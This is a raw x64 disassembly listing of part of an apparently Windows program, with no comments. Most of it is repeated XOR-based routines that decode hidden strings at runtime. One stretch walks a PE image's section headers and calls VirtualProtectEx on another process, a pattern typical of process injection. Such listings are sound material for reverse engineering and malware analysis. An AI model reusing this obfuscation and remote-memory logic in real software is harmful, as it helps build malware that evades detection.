xor al, 2
mov byte [rbx + 2], al
mov byte [rbp + 0x68], 0
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x68]
call fcn.1400311c0
mov r10, rax
cmp byte [rax + 7], 0
je 0x1400140e1
cmp esi, 2
jl 0x1400140a0
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x1400140e1
mov r9, r10
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400140b0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x69], 0
lea rdx, [rbp + 0xcf8]
lea rcx, [rbp + 0x69]
call fcn.140030ff0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140014220
mov r8d, edi
cmp esi, 2
jl 0x1400141e7
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400141f0
mov byte [rbp + 0x6a], 0
lea rdx, [rbp + 0x1158]
lea rcx, [rbp + 0x6a]
call fcn.140030e20
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140014360
mov r8d, edi
cmp esi, 2
jl 0x14001431c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140014330
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x6b], 0
lea rdx, [rbp + 0x12c8]
lea rcx, [rbp + 0x6b]
call fcn.140030c30
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x1400144d1
cmp esi, 2
jl 0x14001448f
mov edx, edi
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400143b0
jmp 0x1400144d1
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400144a0
mov byte [rbp + 0x6c], 0
lea rdx, [rbp + 0xd08]
lea rcx, [rbp + 0x6c]
call fcn.140030a60
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140013941
mov r8d, edi
cmp esi, 2
jl 0x1400145bc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400145d0
mov rcx, r10
jmp 0x140014ae6
mov byte [rbp + 0x6d], 0
lea rdx, [rbp + 0x11c]
lea rcx, [rbp + 0x6d]
call fcn.1400313f0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14001463b
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1c40]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1c40]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1c40]
call fcn.1400b3040
cmp ebx, 0xf
jne 0x140014af9
mov byte [rbp + 0x6e], 0
lea rdx, [rbp + 0x7f8]
lea rcx, [rbp + 0x6e]
call fcn.140031af0
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x1400146be
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rbp + 0x6f], 0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x6f]
call fcn.140031a70
movzx ecx, byte [rax + 2]
test cl, cl
je 0x1400146e4
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x70], 0
lea rdx, [rbp + 0xd18]
lea rcx, [rbp + 0x70]
call fcn.1400318a0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140014820
mov r8d, edi
cmp esi, 2
jl 0x1400147ea
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400147f0
mov byte [rbp + 0x71], 0
lea rdx, [rbp + 0x1168]
lea rcx, [rbp + 0x71]
call fcn.1400316d0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140014960
mov r8d, edi
cmp esi, 2
jl 0x14001491c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140014930
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x72], 0
lea rdx, [rbp + 0xd28]
lea rcx, [rbp + 0x72]
call fcn.140031500
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140014aa1
mov r8d, edi
cmp esi, 2
jl 0x140014a64
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140014a70
mov byte [rbp + 0x73], 0
lea rdx, [rbp + 0x5a8]
lea rcx, [rbp + 0x73]
call fcn.140031470
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140014ae3
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
cmp byte [rbp + 0x1e68], 0
je 0x140014be9
mov rcx, qword [rbp + 0x220]
movzx ebx, word [rcx + 0x14]
add rbx, 0x20
mov r14d, edi
cmp word [rcx + 6], r14w
je 0x140014bb4
add rbx, rcx
mov edx, 0x20
mov r13, qword [rbp + 0x230]
mov r12, qword [rbp + 0x208]
nop dword [rax]
cmp dword [rbx], 0
je 0x140014b96
mov dword [rbp + 0x1d6c], edi
mov eax, dword [rbx + 0x1c]
test eax, 0x80000000
jbe 0x140014b5d
mov r9d, 4
jmp 0x140014b6c
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, r13
lea rax, [rbp + 0x1d6c]
mov qword [rsp + 0x20], rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [rbp + 0x220]
mov edx, 0x20
inc r14d
add rbx, 0x28
movzx eax, word [rcx + 6]
cmp r14d, eax
jne 0x140014b40
mov r12, qword [rbp + 0x250]
mov r13, qword [rbp + 0x258]
mov dword [rbp + 0x1d60], edi
movzx eax, word [rcx + 0x14]
mov r8d, dword [rax + rcx + 0x24]
lea rax, [rbp + 0x1d60]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov rdx, qword [rbp + 0x230]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov byte [rbp + 0x74], 0
lea rdx, [rbp + 0x17c]
lea rcx, [rbp + 0x74]
call fcn.140031b90
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140014c1f
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1c60]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1c60]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1c60]
call fcn.1400b3040
cmp ebx, 0xf
jne 0x140015319
mov byte [rbp + 0x75], 0
lea rdx, [rbp + 0x1500]
lea rcx, [rbp + 0x75]
call fcn.140032450
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x140014db1
mov r8d, edi
cmp esi, 2
jl 0x140014d77
mov rcx, rax
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140014c90
cmp r8d, 0x1a
jge 0x140014db1
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140014d80
mov byte [rbp + 0x76], 0
lea rdx, [rbp + 0x1490]
lea rcx, [rbp + 0x76]
call fcn.140032240
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140014f01
mov r8d, edi
cmp esi, 2
jl 0x140014ec8
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140014de1
cmp r8d, 0x16
jge 0x140014f01
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140014ed0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x77], 0
lea rdx, [rbp + 0xd38]
lea rcx, [rbp + 0x77]
call fcn.140032070
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140015040
mov r8d, edi
cmp esi, 2
jl 0x140015007
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140015010
mov byte [rbp + 0x78], 0
lea rdx, [rbp + 0x1178]
lea rcx, [rbp + 0x78]
call fcn.140031ea0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140015180
mov r8d, edi
cmp esi, 2
jl 0x14001513c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140015150
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x79], 0
lea rdx, [rbp + 0x808]
lea rcx, [rbp + 0x79]
call fcn.140031e00
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400151e2
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0x7a], 0
lea rdx, [rbp + 0x1208]
lea rcx, [rbp + 0x7a]
call fcn.140031c20
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140015311
mov r8d, edi
cmp esi, 2
jl 0x1400152cd
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
